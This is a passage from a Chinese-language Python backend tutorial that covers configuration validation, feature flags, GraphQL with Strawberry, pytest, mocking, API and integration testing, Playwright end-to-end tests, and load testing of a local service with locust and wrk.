if not 1024 <= v <= 65535:
raise ValueError('PORT 必须在 1024-65535 之间')
return v
# 启动时验证——配置错误立即报错,不会等到运行时
try:
settings = Settings()
except ValidationError as e:
print(f"配置错误: {e}")
sys.exit(1)
# 功能开关——控制功能的开启和关闭,不需要重新部署
import json
import redis
class FeatureFlags:
def __init__(self, redis_client):
self.redis = redis_client
def is_enabled(self, flag_name: str, user_id: int = None) -> bool:
"""检查功能是否开启"""
# 1. 检查全局开关
flag = self.redis.hget('feature_flags', flag_name)
if flag is None:
return False
flag_config = json.loads(flag)
if not flag_config.get('enabled', False):
return False
# 2. 检查用户白名单
whitelist = flag_config.get('whitelist', [])
if user_id and user_id in whitelist:
return True
# 3. 按百分比灰度
percentage = flag_config.get('percentage', 0)
if percentage > 0:
return (user_id or 0) % 100 < percentage
return flag_config.get('enabled', False)
# 使用
flags = FeatureFlags(redis)
@app.get("/api/new-feature")
def new_feature(user = Depends(get_current_user)):
if not flags.is_enabled('new_ui', user.id):
raise HTTPException(404, "功能未开放")
return {"data": "新功能内容"}
# 管理功能开关(通过 API 或 Admin)
@app.post("/admin/feature-flags")
def set_flag(name: str, enabled: bool, percentage: int = 0):
redis.hset('feature_flags', name, json.dumps({
'enabled': enabled, 'percentage': percentage
}))
永远不要把密钥提交到 Git!在 .gitignore 中加上 .env。如果已经提交了,立刻更换密钥并从 Git 历史中删除。生产环境密钥用 Vault 或云厂商密钥管理服务,不要用 .env 文件。
① 配置和代码分离(环境变量/配置文件)。② 密钥不入库(.gitignore + Vault)。③ 启动时验证配置(Pydantic validator)。④ 多环境配置(dev/test/staging/prod)。⑤ 配置有默认值(合理的默认值减少配置量)。⑥ 敏感配置加密存储(sops/Vault)。⑦ 功能开关控制新功能发布。
REST API 的问题是:前端需要的数据可能分散在多个接口里。GraphQL 让前端自己决定"要什么数据、要多少"——一个接口搞定一切。
| 维度 | REST | GraphQL |
|---|---|---|
| 数据获取 | 服务器决定返回什么 | 客户端决定要什么 |
| 端点 | 多个 URL | 单一端点 /graphql |
| 过度获取 | 常见(返回多余字段) | 不存在(按需查询) |
| 不足获取 | 需要多次请求 | 一次请求获取关联数据 |
| 学习成本 | 低 | 中等 |
# Strawberry(FastAPI + GraphQL)
import strawberry
from typing import List
@strawberry.type
class User:
id: int
name: str
email: str
@strawberry.type
class Query:
@strawberry.field
def users(self) -> List[User]:
return [User(id=1, name="张三", email="zhangsan@example.com")]
@strawberry.field
def user(self, id: int) -> User:
return User(id=id, name="张三", email="zhangsan@example.com")
@strawberry.type
class Mutation:
@strawberry.mutation
def create_user(self, name: str, email: str) -> User:
return User(id=1, name=name, email=email)
schema = strawberry.Schema(query=Query, mutation=Mutation)
# FastAPI 集成
from strawberry.fastapi import GraphQLRouter
app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")
# 客户端查询
query {
user(id: 1) {
name
email
orders { # 一次请求获取用户 + 订单
id
total
}
}
}
① 前端需要灵活查询(移动端需要精简数据)。② 多个关联资源需要一次获取。③ 多个客户端(Web/iPad/App)需要不同数据。简单的 CRUD API 用 REST 更简单直接。
# GraphQL Subscription——实时数据推送
import strawberry
from strawberry.subscriptions import GRAPHQL_TRANSPORT_WS_PROTOCOL
import asyncio
@strawberry.type
class Subscription:
@strawberry.subscription
async def count(self, target: int = 100) -> int:
"""实时计数器"""
for i in range(target):
yield i
await asyncio.sleep(1)
@strawberry.subscription
async def on_new_article(self) -> ArticleType:
"""新文章发布时实时推送"""
# 监听消息队列或 Redis Pub/Sub
pubsub = redis.pubsub()
pubsub.subscribe("new_articles")
for message in pubsub.listen():
if message['type'] == 'message':
article_data = json.loads(message['data'])
yield ArticleType(**article_data)
# FastAPI 集成
from strawberry.fastapi import GraphQLRouter
schema = strawberry.Schema(query=Query, mutation=Mutation, subscription=Subscription)
graphql_app = GraphQLRouter(schema, subscription_ws_protocol=GRAPHQL_TRANSPORT_WS_PROTOCOL)
app.include_router(graphql_app, prefix="/graphql")
# DataLoader——批量加载关联数据
from strawberry.dataloader import DataLoader
async def load_users(user_ids: list[int]) -> list[User]:
"""批量加载用户(1 次查询代替 N 次)"""
users = db.query(User).filter(User.id.in_(user_ids)).all()
user_map = {u.id: u for u in users}
return [user_map.get(uid) for uid in user_ids]
user_loader = DataLoader(load_fn=load_users)
@strawberry.type
class ArticleType:
id: int
title: str
@strawberry.field
async def author(self) -> UserType:
user = await user_loader.load(self.author_id) # 自动批量加载
return UserType.from_orm(user)
# GraphQL 认证
from strawberry.permission import Permission
class IsAuthenticated(Permission):
message = "未登录"
def has_permission(self, source, info, **kwargs):
request = info.context["request"]
token = request.headers.get("Authorization", "").replace("Bearer ", "")
return verify_token(token) is not None
@strawberry.type
class Mutation:
@strawberry.mutation(permission_classes=[IsAuthenticated])
def create_article(self, title: str, content: str, info) -> ArticleType:
user = get_current_user(info.context["request"])
article = Article(title=title, content=content, author_id=user.id)
db.add(article)
db.commit()
return ArticleType.from_orm(article)
# 错误处理
@strawberry.type
class Query:
@strawberry.field
def user(self, id: int) -> UserType:
user = db.session.get(User, id)
if not user:
raise ValueError(f"用户 {id} 不存在")
return UserType.from_orm(user)
① 前端需要灵活查询(移动端需要精简数据)。② 多个关联资源需要一次获取。③ 多个客户端(Web/iPad/App)需要不同数据。④ 实时订阅需求。简单的 CRUD API 用 REST 更简单直接。
GraphQL 的嵌套查询容易产生 N+1 问题。用 DataLoader 批量加载关联数据,把 N 次查询合并为 1 次。这是 GraphQL 性能优化最重要的技术。
① 对外 API 用 REST(简单、标准、浏览器直接调用)。② 内部 BFF 层用 GraphQL(聚合多个微服务的数据)。③ 移动端用 GraphQL(按需获取,节省带宽)。④ 实时场景用 GraphQL Subscription。两者可以共存。
测试不是"写完代码再补"的事——它是代码质量的保障网。pytest 是 Python 最流行的测试框架。
# test_user.py
def test_create_user():
user = User(name="张三", age=25)
assert user.name == "张三"
assert user.is_adult() == True
def test_user_validation():
with pytest.raises(ValueError):
User(name="", age=25) # 名字不能为空
# fixture:测试的"准备工作"
import pytest
@pytest.fixture
def db():
"""每个测试用例前创建数据库会话,测试后回滚"""
session = SessionLocal()
yield session
session.rollback()
session.close()
def test_create_article(db):
article = Article(title="测试文章")
db.add(article)
db.commit()
assert article.id is not None
# 参数化:一个测试函数跑多组数据
@pytest.mark.parametrize("age,expected", [
(10, False),
(18, True),
(25, True),
])
def test_is_adult(age, expected):
user = User(name="测试", age=age)
assert user.is_adult() == expected
# 覆盖率
# pytest --cov=app --cov-report=html
# 打开 htmlcov/index.html 查看哪些代码没被测试覆盖
# tests/conftest.py — 所有测试文件共享的 fixture
import pytest
from fastapi.testclient import TestClient
from app import create_app
@pytest.fixture
def app():
return create_app('testing')
@pytest.fixture
def client(app):
return TestClient(app)
@pytest.fixture
def auth_header(client):
"""获取认证头"""
resp = client.post('/api/login', json={'username': 'test', 'password': '123'})
token = resp.json()['token']
return {'Authorization': f'Bearer {token}'}
# fixture 作用域:控制初始化频率
@pytest.fixture(scope="function") # 默认:每个测试函数都执行
def db():
session = SessionLocal()
yield session
session.close()
@pytest.fixture(scope="module") # 每个模块执行一次
def app():
return create_app('testing')
@pytest.fixture(scope="session") # 整个测试会话执行一次
def db_engine():
engine = create_engine('sqlite:///:memory:')
Base.metadata.create_all(engine)
yield engine
@pytest.fixture(scope="class") # 每个测试类执行一次
def client(app):
return TestClient(app)
# 自定义标记
import pytest
@pytest.mark.slow # 标记为慢测试
def test_heavy_computation():
result = heavy_function()
assert result is not None
@pytest.mark.skip(reason="功能未实现")
def test_future_feature():
pass
@pytest.mark.skipif(sys.platform == "win32", reason="不支持 Windows")
def test_linux_only():
pass
@pytest.mark.xfail(reason="已知 bug")
def test_known_bug():
assert buggy_function() == True # 期望失败
# 运行时筛选
# pytest -m "not slow" 跳过慢测试
# pytest -m "slow" 只运行慢测试
# pytest --tb=short 简化错误输出
# pytest -x 第一个失败就停止
# pytest --lf 只运行上次失败的测试
# tmpdir——临时目录 fixture
def test_file_operations(tmpdir):
"""tmpdir 自动创建临时目录,测试后自动清理"""
test_file = tmpdir.join("test.txt")
test_file.write("hello world")
assert test_file.read() == "hello world"
# tmp_path(pathlib 版本)
def test_with_pathlib(tmp_path):
file_path = tmp_path / "data.json"
file_path.write_text('{"key": "value"}')
data = json.loads(file_path.read_text())
assert data["key"] == "value"
# snapshot 测试(快照测试)
# pip install syrupy
def test_api_response(snapshot):
response = client.get("/api/users/1")
assert response.json() == snapshot
# 常用 pytest 插件
# pip install pytest-cov # 覆盖率
# pip install pytest-asyncio # 异步测试
# pip install pytest-xdist # 并行测试
# pip install pytest-timeout # 测试超时
# pip install pytest-randomly # 随机顺序运行(发现依赖问题)
# pip install pytest-sugar # 更好看的输出
# pip install pytest-clarity # 更清晰的断言失败信息
# pytest.ini / pyproject.toml 配置
# [tool.pytest.ini_options]
# testpaths = ["tests"]
# asyncio_mode = "auto" # 自动检测异步测试
# timeout = 30 # 测试超时 30 秒
# addopts = "--cov=app --cov-report=html -v"
# 并行运行测试(加速 CI)
# pip install pytest-xdist
# pytest -n auto # 自动检测 CPU 核心数并行运行
测试文件以 test_ 开头,测试函数以 test_ 开头。运行:pytest(全部)、pytest test_user.py(单文件)、pytest -k "login"(匹配关键词)、pytest -m "not slow"(按标记筛选)。
① 测试要独立(不依赖其他测试的执行顺序)。② 用 fixture 管理测试数据(不要在测试函数中创建数据)。③ 用 conftest.py 共享 fixture。④ 用 parametrize 减少重复代码。⑤ 用 marker 分类测试(unit/integration/slow)。⑥ CI 中用 pytest -x 快速失败。⑦ 覆盖率目标 80%+。
测试应该只测自己的代码,不依赖外部服务(数据库、API、文件系统)。Mock(模拟)让你用"假对象"替代真实依赖。
from unittest.mock import patch, MagicMock, Mock, call
# Mock 外部 API 调用
@patch('app.services.send_email')
def test_register(mock_send_email):
"""注册时发送邮件,但测试中不需要真的发邮件"""
mock_send_email.return_value = True
response = client.post('/api/register', json={'email': 'test@test.com'})
assert response.status_code == 200
mock_send_email.assert_called_once_with('test@test.com', ...)
# Mock 返回值
@patch('app.services.payment_gateway.charge')
def test_payment(mock_charge):
mock_charge.return_value = {"status": "success", "transaction_id": "txn_123"}
result = process_payment(amount=100)
assert result["status"] == "success"
# Mock 抛出异常
@patch('app.services.external_api.fetch')
def test_api_failure(mock_fetch):
mock_fetch.side_effect = ConnectionError("网络超时")
result = call_external_api()
assert result["error"] == "服务暂时不可用"
# MagicMock —— 自动创建属性和方法
mock_obj = MagicMock()
mock_obj.user.name = "张三" # 自动创建嵌套属性
mock_obj.calculate.return_value = 42 # 设置返回值
mock_obj.calculate() # 返回 42
# spec —— 限制 Mock 的属性(防止拼写错误)
from app.services import EmailService
mock_email = MagicMock(spec=EmailService)
mock_email.send("test@test.com", "hello") # OK
mock_email.sned("test@test.com", "hello") # AttributeError! 拼写错误被发现
# Mock 的 call 记录
mock_func = MagicMock()
mock_func("arg1")
mock_func("arg2", key="value")
mock_func.assert_any_call("arg1") # 检查是否调用过
mock_func.assert_called_with("arg2", key="value") # 检查最后一次调用
assert mock_func.call_count == 2 # 调用次数
assert mock_func.call_args_list == [ # 完整调用记录
call("arg1"),
call("arg2", key="value"),
]
# side_effect —— 不同调用返回不同值
mock_db = MagicMock()
mock_db.query.side_effect = [
[User(id=1, name="张三")], # 第一次查询返回结果
[], # 第二次查询返回空
Exception("数据库连接失败"), # 第三次抛异常
]
# side_effect —— 根据参数返回不同值
def mock_get_user(user_id):
users = {1: User(id=1, name="张三"), 2: User(id=2, name="李四")}
return users.get(user_id)
mock_service = MagicMock()
mock_service.get_user.side_effect = mock_get_user
# side_effect —— 带延迟的 Mock(模拟慢接口)
import asyncio
async def slow_api_call(*args, **kwargs):
await asyncio.sleep(2) # 模拟 2 秒延迟
return {"data": "result"}
mock_api = MagicMock()
mock_api.fetch.side_effect = slow_api_call
# monkeypatch —— 临时修改环境变量、属性、字典
# 修改环境变量
def test_config(monkeypatch):
monkeypatch.setenv('DATABASE_URL', 'sqlite:///:memory:')
monkeypatch.setenv('SECRET_KEY', 'test-key')
monkeypatch.setenv('DEBUG', 'true')
# 此时读取的配置是测试专用的
# 修改模块属性
def test_feature_flag(monkeypatch):
monkeypatch.setattr('app.config.FEATURE_NEW_UI', True)
assert is_new_ui_enabled() == True
# 修改字典
def test_settings(monkeypatch):
monkeypatch.setitem(app.config, 'TESTING', True)
monkeypatch.setitem(app.config, 'DATABASE_URL', 'sqlite:///:memory:')
# 修改类方法
def test_api_call(monkeypatch):
def mock_fetch(url):
return {"status": "ok"}
monkeypatch.setattr('app.services.http_client.fetch', mock_fetch)
# pip install factory-boy
from factory import Factory, Faker, SubFactory, LazyAttribute
from app.models import User, Article, Category
class CategoryFactory(Factory):
class Meta:
model = Category
name = Faker('word')
slug = Faker('slug')
class UserFactory(Factory):
class Meta:
model = User
name = Faker('name', locale='zh_CN')
email = Faker('email')
age = Faker('random_int', min=18, max=60)
is_active = True
class ArticleFactory(Factory):
class Meta:
model = Article
title = Faker('sentence', nb_words=6)
content = Faker('text', max_nb_chars=2000)
author = SubFactory(UserFactory) # 自动创建关联用户
category = SubFactory(CategoryFactory)
status = 'published'
views = LazyAttribute(lambda o: random.randint(0, 10000))
# 使用
user = UserFactory() # 生成一个随机用户
users = UserFactory.create_batch(10) # 生成 10 个用户
article = ArticleFactory(author=user) # 指定作者
articles = ArticleFactory.create_batch(5, status='draft') # 批量创建草稿
# 带 Trait 的工厂
class UserFactory(Factory):
class Meta:
model = User
class Params:
is_admin = Faker('pybool')
is_inactive = False
name = Faker('name')
email = Faker('email')
is_active = LazyAttribute(lambda o: not o.is_inactive)
admin = UserFactory(is_admin=True) # 管理员
inactive = UserFactory(is_inactive=True) # 非活跃用户
# 方案1:每个测试用事务回滚(推荐)
import pytest
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
@pytest.fixture
def db_session():
engine = create_engine('sqlite:///:memory:')
Session = sessionmaker(bind=engine)
session = Session()
session.begin() # 开始事务
yield session
session.rollback() # 回滚事务(数据不保留)
session.close()
# 方案2:Docker 临时数据库(最接近生产环境)
@pytest.fixture(scope="session")
def db_engine():
"""Docker 启动临时 PostgreSQL"""
import docker
client = docker.from_env()
container = client.containers.run(
'postgres:15',
environment={'POSTGRES_PASSWORD': 'test', 'POSTGRES_DB': 'testdb'},
ports={'5432/tcp': 5433},
detach=True
)
# 等待数据库就绪...
engine = create_engine('postgresql://postgres:test@localhost:5433/testdb')
yield engine
container.stop()
container.remove()
# 方案3:测试数据库 + 数据清理
@pytest.fixture(autouse=True)
def clean_db(db_session):
"""每个测试前后清理数据"""
yield
for table in reversed(Base.metadata.sorted_tables):
db_session.execute(table.delete())
db_session.commit()
测试不能用生产数据库!方案:① SQLite 内存数据库(sqlite:///:memory:,快但和生产不一致)。② 每个测试用事务回滚(推荐,和生产一致)。③ Docker 启动临时数据库(最真实但慢)。推荐方案 ②——和生产环境数据库一致,避免兼容性问题。
① 只 Mock 外部依赖(数据库、API、文件系统),不要 Mock 被测代码本身。② 用 spec 限制 Mock 属性(防止拼写错误)。③ 验证 Mock 被正确调用(assert_called_with)。④ 不要过度 Mock(Mock 太多会让测试失去意义)。⑤ 测试要测行为,不要测实现细节。
① Mock 路径错误——@patch 要 patch 使用的地方,不是定义的地方(@patch('app.views.send_email') 而非 @patch('app.services.send_email'))。② 忘记 return_value——Mock 默认返回 Mock(),不是 None。③ Mock 状态泄漏——用 with patch(...) 或 fixture 确保 Mock 被清理。
API 测试确保接口的输入输出符合预期。接口文档让前端知道"怎么调用"。
# FastAPI TestClient(基于 httpx)
from fastapi.testclient import TestClient
from app import app
client = TestClient(app)
def test_get_users():
response = client.get('/api/users')
assert response.status_code == 200
assert isinstance(response.json()['data']['items'], list)
def test_create_user():
response = client.post('/api/users', json={
'name': '张三', 'email': 'zhangsan@test.com', 'age': 25
})
assert response.status_code == 201
assert response.json()['data']['name'] == '张三'
def test_get_user_not_found():
response = client.get('/api/users/99999')
assert response.status_code == 404
# httpx 异步测试
import httpx
import pytest
@pytest.mark.asyncio
async def test_async_api():
async with httpx.AsyncClient(app=app, base_url="http://test") as ac:
response = await ac.get('/api/users')
assert response.status_code == 200
# 测试请求参数校验
def test_create_user_validation():
# 缺少必填字段
response = client.post('/api/users', json={'name': '张三'})
assert response.status_code == 422
assert 'email' in str(response.json())
# 邮箱格式错误
response = client.post('/api/users', json={'name': '张三', 'email': 'invalid'})
assert response.status_code == 422
# 名称太长
response = client.post('/api/users', json={'name': 'a' * 200, 'email': 'a@b.com'})
assert response.status_code == 422
# 测试响应格式
def test_response_format():
response = client.get('/api/users/1')
data = response.json()
# 验证响应结构
assert 'code' in data
assert 'message' in data
assert 'data' in data
assert data['code'] == 0
# 验证 data 字段
user = data['data']
assert 'id' in user
assert 'name' in user
assert 'email' in user
assert 'password' not in user # 确保不返回密码
# 测试分页响应
def test_pagination_format():
response = client.get('/api/users?page=1&size=10')
data = response.json()['data']
assert 'items' in data
assert 'total' in data
assert 'page' in data
assert 'size' in data
assert len(data['items']) <= 10
# httpx 异步测试(FastAPI 推荐)
import httpx
import pytest
@pytest.mark.asyncio
async def test_async_api():
async with httpx.AsyncClient(app=app, base_url="http://test") as ac:
response = await ac.get('/api/users')
assert response.status_code == 200
@pytest.mark.asyncio
async def test_async_create_user():
async with httpx.AsyncClient(app=app, base_url="http://test") as ac:
response = await ac.post('/api/users', json={
'name': '张三', 'email': 'zhangsan@test.com'
})
assert response.status_code == 201
# 使用 httpx.AsyncClient 作为 pytest fixture
@pytest.fixture
async def async_client():
async with httpx.AsyncClient(app=app, base_url="http://test") as ac:
yield ac
@pytest.mark.asyncio
async def test_with_fixture(async_client):
response = await async_client.get('/api/users')
assert response.status_code == 200
# 带认证的测试
@pytest.fixture
def auth_headers():
"""获取认证 headers"""
response = client.post('/api/auth/login', json={
'email': 'admin@test.com', 'password': 'password123'
})
token = response.json()['data']['token']
return {'Authorization': f'Bearer {token}'}
def test_protected_endpoint(auth_headers):
response = client.get('/api/admin/users', headers=auth_headers)
assert response.status_code == 200
def test_unauthorized():
response = client.get('/api/admin/users')
assert response.status_code == 401
def test_forbidden():
# 普通用户访问管理员接口
response = client.post('/api/auth/login', json={
'email': 'user@test.com', 'password': 'password123'
})
token = response.json()['data']['token']
response = client.get('/api/admin/users', headers={'Authorization': f'Bearer {token}'})
assert response.status_code == 403
# FastAPI 自动生成 OpenAPI 文档
# 访问 /docs 获取 Swagger UI
# 访问 /redoc 获取 ReDoc 文档
# 访问 /openapi.json 获取 OpenAPI 规范 JSON
# 自定义文档信息
from fastapi import FastAPI
app = FastAPI(
title="我的 API",
description="这是一个示例 API",
version="1.0.0",
docs_url="/docs",
redoc_url="/redoc",
)
# 路由标签和描述
@app.get("/api/users", tags=["用户"], summary="获取用户列表",
description="分页获取所有用户,支持按名称筛选")
def get_users(page: int = 1, size: int = 20):
"""获取用户列表"""
pass
# 前端用 OpenAPI JSON 自动生成客户端代码
# npx openapi-generator-cli generate -i http://localhost:8000/openapi.json -g typescript-fetch -o ./api-client
访问 /docs 获取 Swagger UI,访问 /openapi.json 获取 OpenAPI 规范 JSON。前端可以用这个 JSON 自动生成 API 客户端代码(openapi-generator)。Django 用 drf-spectacular 生成 OpenAPI 文档。
① 测试要覆盖正常流程和异常流程(400、401、403、404、500)。② 测试要验证响应格式(字段名、类型、结构)。③ 测试要验证数据正确性(创建后能查到、修改后值变了)。④ 测试要隔离(不依赖其他测试的数据)。⑤ 测试要快(用内存数据库,不要真的发邮件)。
前后端协作时,用契约测试确保 API 文档和实际行为一致。工具:schemathesis(自动根据 OpenAPI 规范生成测试用例)、pact(消费者驱动的契约测试)。schemathesis run http://localhost:8000/openapi.json——自动发现 API 漏洞。
单元测试测单个函数,集成测试测多个组件协作,端到端测试测整个系统。
# 集成测试:API → 服务层 → 数据库
import pytest
from httpx import AsyncClient
@pytest.fixture
async def client(db_session):
"""带数据库的测试客户端"""
from app import app
from app.database import get_db
async def override_get_db():
yield db_session
app.dependency_overrides[get_db] = override_get_db
async with AsyncClient(app=app, base_url="http://test") as ac:
yield ac
app.dependency_overrides.clear()
# 测试完整流程:注册 → 登录 → 创建文章 → 查询
@pytest.mark.asyncio
async def test_full_article_flow(client):
# 1. 注册用户
resp = await client.post('/api/auth/register', json={
'name': '测试用户', 'email': 'test@test.com', 'password': 'pass123'
})
assert resp.status_code == 201
# 2. 登录获取 Token
resp = await client.post('/api/auth/login', json={
'email': 'test@test.com', 'password': 'pass123'
})
assert resp.status_code == 200
token = resp.json()['data']['token']
headers = {'Authorization': f'Bearer {token}'}
# 3. 创建文章
resp = await client.post('/api/articles', json={
'title': '测试文章', 'content': '测试内容'
}, headers=headers)
assert resp.status_code == 201
article_id = resp.json()['data']['id']
# 4. 查询文章
resp = await client.get(f'/api/articles/{article_id}')
assert resp.status_code == 200
assert resp.json()['data']['title'] == '测试文章'
# 5. 修改文章
resp = await client.put(f'/api/articles/{article_id}', json={
'title': '修改后的标题'
}, headers=headers)
assert resp.status_code == 200
assert resp.json()['data']['title'] == '修改后的标题'
# 6. 删除文章
resp = await client.delete(f'/api/articles/{article_id}', headers=headers)
assert resp.status_code == 204
# 7. 确认删除
resp = await client.get(f'/api/articles/{article_id}')
assert resp.status_code == 404
# 测试数据 Fixture
import pytest
@pytest.fixture
def sample_user(db_session):
"""创建测试用户"""
user = User(name="测试用户", email="test@test.com", password_hash=hash_password("pass123"))
db_session.add(user)
db_session.commit()
return user
@pytest.fixture
def sample_articles(db_session, sample_user):
"""创建测试文章"""
articles = []
for i in range(5):
article = Article(
title=f"文章 {i}",
content=f"内容 {i}",
author_id=sample_user.id,
status='published' if i % 2 == 0 else 'draft'
)
db_session.add(article)
articles.append(article)
db_session.commit()
return articles
# 使用 Fixture
def test_article_list(client, sample_articles):
resp = client.get('/api/articles')
assert resp.status_code == 200
assert len(resp.json()['data']['items']) == 5
# pip install playwright; playwright install
from playwright.sync_api import sync_playwright, expect
# pytest fixture
@pytest.fixture(scope="session")
def browser():
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
yield browser
browser.close()
@pytest.fixture
def page(browser):
context = browser.new_context()
page = context.new_page()
yield page
context.close()
# 测试用户注册流程
def test_user_registration(page):
page.goto('http://localhost:8000/register')
# 填写表单
page.fill('input[name="username"]', 'testuser')
page.fill('input[name="email"]', 'test@test.com')
page.fill('input[name="password"]', 'password123')
page.fill('input[name="password_confirm"]', 'password123')
# 提交
page.click('button[type="submit"]')
# 验证跳转到登录页
expect(page).to_have_url(re.compile(r'.*login'))
expect(page.locator('.message')).to_contain_text('注册成功')
# 测试登录后访问受保护页面
def test_login_and_access(page):
page.goto('http://localhost:8000/login')
page.fill('input[name="email"]', 'test@test.com')
page.fill('input[name="password"]', 'password123')
page.click('button[type="submit"]')
# 验证登录成功
expect(page).to_have_url(re.compile(r'.*dashboard'))
expect(page.locator('.welcome')).to_contain_text('欢迎')
# 测试购物车流程
def test_shopping_cart(page):
# 浏览商品
page.goto('http://localhost:8000/products')
page.locator('.product-card').first.click()
# 添加到购物车
page.click('button:text("加入购物车")')
expect(page.locator('.cart-count')).to_have_text('1')
# 去结算
page.click('a:text("去结算")')
expect(page.locator('.order-total')).to_be_visible()
# docker-compose.test.yml — 测试专用环境
# 注:Docker Compose v2 已不再需要 version 字段,省略即可
services:
db:
image: postgres:15
environment:
POSTGRES_DB: testdb
POSTGRES_PASSWORD: test
ports:
- "5433:5432"
redis:
image: redis:7-alpine
ports:
- "6380:6379"
app:
build: .
environment:
DATABASE_URL: postgresql://postgres:test@db:5433/testdb
REDIS_URL: redis://redis:6379/0
ports:
- "8000:8000"
depends_on:
- db
- redis
# pytest conftest.py
@pytest.fixture(scope="session", autouse=True)
def setup_test_env():
"""启动 Docker 测试环境"""
import subprocess
subprocess.run(["docker-compose", "-f", "docker-compose.test.yml", "up", "-d"])
yield
subprocess.run(["docker-compose", "-f", "docker-compose.test.yml", "down"])
单元测试占 70%(快、多)、集成测试占 20%(中等)、端到端测试占 10%(慢、关键路径)。不要试图用端到端测试覆盖所有场景——维护成本太高。端到端测试只测关键路径(注册、登录、下单、支付)。
① 每个测试用独立的数据库事务(测试后回滚)。② 测试数据用 Fixture 创建(不要依赖其他测试)。③ 测试完整流程(不只是单个接口)。④ 测试异常场景(网络超时、数据库连接失败)。⑤ 集成测试放在 CI/CD 中自动运行。
① 用 headless=True 无头模式运行(CI 环境必须)。② 用 expect 等待元素出现(不要用 sleep)。③ 测试失败时自动截图(page.screenshot())。④ 用 page.route() Mock API 响应。⑤ 测试数据要独立(不要依赖生产数据)。
上线前必须知道你的服务器能扛多少并发——是 100 QPS 还是 10000 QPS?压测告诉你答案。
# locust — Python 压测工具(推荐)
# pip install locust
from locust import HttpUser, task, between
class WebsiteUser(HttpUser):
wait_time = between(1, 3) # 模拟用户思考时间
@task(3) # 权重 3
def get_users(self):
self.client.get('/api/users')
@task(1) # 权重 1
def create_user(self):
self.client.post('/api/users', json={'name': 'test', 'email': 'test@test.com'})
# 运行:locust -f locustfile.py --host=http://localhost:8000
# 访问 http://localhost:8089 开始压测
# wrk — 高性能命令行压测工具
# 安装:apt install wrk
wrk -t4 -c100 -d30s http://localhost:8000/api/users
# -t4: 4 个线程
# -c100: 100 个并发连接
# -d30s: 持续 30 秒
压测后记录基准数据:QPS(每秒请求数)、P99 延迟(99% 的请求在多少毫秒内完成)、错误率。每次发版后对比基准,性能下降超过 20% 要报警。
# Locust 高级用法——模拟真实用户行为
from locust import HttpUser, task, between, events
import random
class EcommerceUser(HttpUser):
wait_time = between(1, 5) # 模拟用户思考时间
host = "http://localhost:8000"
def on_start(self):
"""用户登录"""
resp = self.client.post('/api/auth/login', json={
'email': f'user{random.randint(1,1000)}@test.com',
'password': 'password123'
})
if resp.status_code == 200:
self.token = resp.json()['data']['token']
self.client.headers.update({'Authorization': f'Bearer {self.token}'})
@task(5) # 权重 5:浏览商品最频繁
def browse_products(self):
page = random.randint(1, 10)
self.client.get(f'/api/products?page={page}&size=20')
@task(3)
def view_product_detail(self):
product_id = random.randint(1, 1000)
self.client.get(f'/api/products/{product_id}')
@task(2)
def add_to_cart(self):
product_id = random.randint(1, 1000)
self.client.post('/api/cart/items', json={
'product_id': product_id,
'quantity': random.randint(1, 3)
})
@task(1) # 权重 1:下单较少
def create_order(self):
self.client.post('/api/orders', json={
'items': [{'product_id': random.randint(1, 1000), 'quantity': 1}]
})
# 运行:locust -f locustfile.py --host=http://localhost:8000
# 访问 http://localhost:8089 设置并发数和启动压测
| 类型 | 目的 | 做法 |
|---|---|---|
| 基准测试 | 了解系统正常性能 | 逐步增加并发,找到性能拐点 |
| 负载测试 | 验证预期负载下的表现 | 模拟预期的并发用户数,持续运行 |
| 压力测试 | 找到系统极限 | 持续增加并发直到系统崩溃 |
| 浸泡测试 | 检测内存泄漏 | 中等并发持续运行 24-72 小时 |
| 峰值测试 | 验证突发流量处理 | 瞬间发送大量请求(如秒杀场景) |
# wrk —— C 语言写的高性能压测工具
# 安装:apt install wrk
# 基本用法
wrk -t4 -c100 -d30s http://localhost:8000/api/users
# -t4: 4 个线程
# -c100: 100 个并发连接
# -d30s: 持续 30 秒
# 带 Lua 脚本(POST 请求)
wrk -t4 -c100 -d30s -s post.lua http://localhost:8000/api/users
# post.lua 内容:
# wrk.method = "POST"
# wrk.body = '{"name": "test", "email": "test@test.com"}'
# wrk.headers["Content-Type"] = "application/json"
# 输出解读:
# Thread Stats Avg Stdev Max +/- Stdev
# Latency 1.20ms 0.50ms 5.00ms 85.00% ← 延迟
# Req/Sec 2.50k 200.00 3.00k 70.00% ← QPS
# 75000 requests in 30s ← 总请求数
# 压测结果记录模板
benchmark_result = {
"date": "2024-06-26",
"environment": "2核4G ECS",
"tool": "locust",
"concurrent_users": 100,
"duration": "5min",
"metrics": {
"qps": 1500, # 每秒请求数
"avg_latency_ms": 12, # 平均延迟
"p50_latency_ms": 8, # 50% 延迟
"p95_latency_ms": 45, # 95% 延迟
"p99_latency_ms": 120, # 99% 延迟
"error_rate": 0.01, # 错误率 1%
},
"bottleneck": "数据库查询慢(N+1 问题)"
}
# 性能基准对比
# 优化前:QPS 500, P99 500ms
# 优化后:QPS 1500, P99 120ms
# 提升:QPS 3x, P99 -76%
# 告警阈值设置
# P99 > 500ms → 告警
# 错误率 > 1% → 告警
# QPS 下降 > 20% → 告警
# APM(Application Performance Monitoring)—— 生产环境性能监控
# Sentry —— 错误追踪 + 性能监控
import sentry_sdk
from sentry_sdk.integrations.fastapi import FastApiIntegration
sentry_sdk.init(
dsn="https://xxx@sentry.io/xxx",
integrations=[FastApiIntegration()],
traces_sample_rate=0.1, # 采集 10% 的请求
environment="production",
)
# Pyroscope —— 持续性能分析(火焰图)
# pip install pyroscope-io
import pyroscope
pyroscope.configure(
application_name="myapp",
server_address="http://pyroscope:4040",
tags={"env": "production"},
)
# 代码级性能分析
import cProfile
import pstats
def profile_function(func):
def wrapper(*args, **kwargs):
profiler = cProfile.Profile()
profiler.enable()
result = func(*args, **kwargs)
profiler.disable()
stats = pstats.Stats(profiler)
stats.sort_stats('cumulative')
stats.print_stats(20) # 打印前 20 个最耗时函数
return result
return wrapper
压测后记录基准数据:QPS(每秒请求数)、P99 延迟(99% 的请求在多少毫秒内完成)、错误率。每次发版后对比基准,性能下降超过 20% 要报警。用 Grafana 持续监控性能趋势。
CPU 高 → 检查计算密集代码。内存高 → 检查是否有内存泄漏。数据库慢 → 检查慢查询。网络慢 → 检查第三方 API 调用。用 py-spy 或 cProfile 生成火焰图定位热点函数。用 strace 检查系统调用。
